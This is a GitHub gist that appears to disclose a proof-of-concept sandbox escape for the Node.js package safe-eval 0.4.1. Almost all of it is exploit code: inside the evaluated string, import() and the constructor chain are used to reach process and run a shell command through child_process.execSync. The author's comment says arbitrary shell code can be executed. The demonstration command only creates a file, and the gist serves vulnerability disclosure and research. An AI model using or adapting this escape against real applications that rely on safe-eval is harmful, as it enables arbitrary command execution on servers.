Skip to content

Instantly share code, notes, and snippets.

@seongil-wi
Last active March 26, 2023 08:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save seongil-wi/2db6cb884e10137a93132b7f74879cce to your computer and use it in GitHub Desktop.
Save seongil-wi/2db6cb884e10137a93132b7f74879cce to your computer and use it in GitHub Desktop.
// node version: 19.8.1
// safe-eval version: 0.4.1
var safeEval = require('safe-eval')
let code = `
(function() {
let ret = import("XXX");
ret.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
})()
`
safeEval(code);
const polluted_result = {}["polluted"];
console.log(polluted_result);
@seongil-wi
Copy link
Author

Description:
Sandbox can be escaped by prototype pollution by calling import.
Also, we can execute arbitrary shell code using process module.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment